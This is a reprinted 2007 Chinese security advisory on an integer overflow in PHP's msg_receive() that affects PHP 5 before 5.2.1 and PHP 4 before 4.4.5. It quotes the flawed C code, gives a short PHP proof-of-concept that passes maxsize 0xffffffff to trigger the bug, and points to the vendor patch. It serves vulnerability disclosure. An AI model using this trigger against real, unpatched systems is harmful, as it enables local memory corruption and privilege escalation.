黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客新闻 >> 漏洞公告 >> 新闻正文
[推荐]PHP msg_receive()内存分配整数溢出漏洞
        ★★★★★
PHP msg_receive()内存分配整数溢出漏洞
新闻整理发布:黑客风云 新闻来源:www.05112.com 更新时间:2007-4-5
受影响系统: 
PHP PHP 5 < 5.2.1
PHP PHP 4 < 4.4.5
不受影响系统: 
PHP PHP 5.2.1
PHP PHP 4.4.5
描述: 

BUGTRAQ  ID: 23236

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的msg_receive()函数实现上存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP的msg_receive()函数没有对maxsize参数执行任何检查便直接在内存分配中使用,导致整数溢出。有漏洞的代码如下:

PHP_FUNCTION(msg_receive)
{
    ...
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlzlz|blz",
                &queue, &desiredmsgtype, &out_msgtype, &maxsize,
                &out_message, &do_unserialize, &flags, &zerrcode) == FAILURE) {
        return;
    }
    ...
    messagebuffer = (struct php_msgbuf *) emalloc(sizeof(struct php_msgbuf) + maxsize);

    result = msgrcv(mq->id, messagebuffer, maxsize, desiredmsgtype, realflags);

如果内部的msgrcv()函数能够接受负数的maxsize的话,就可能导致缓冲区溢出

<*来源:Stefan Esser (s.esser@ematters.de)
  
  链接:http://www.php-security.org/MOPB/MOPB-43-2007.html
*>

测试方法: 


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php

  $MSGKEY = 519052;

  $msg_id = msg_get_queue ($MSGKEY, 0600);

  if (!msg_send ($msg_id, 1, ’AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH’, false, true, $msg_err))
    echo "Msg not sent because $msg_err\n";

  if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
    echo "$msg\n";
  } else {
    echo "Received $msg_error fetching message\n";
    break;
  }

  msg_remove_queue ($msg_id);

?>

建议: 

厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net
新闻录入:liult    责任编辑:liult 
  • 上一篇新闻:

  • 下一篇新闻:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886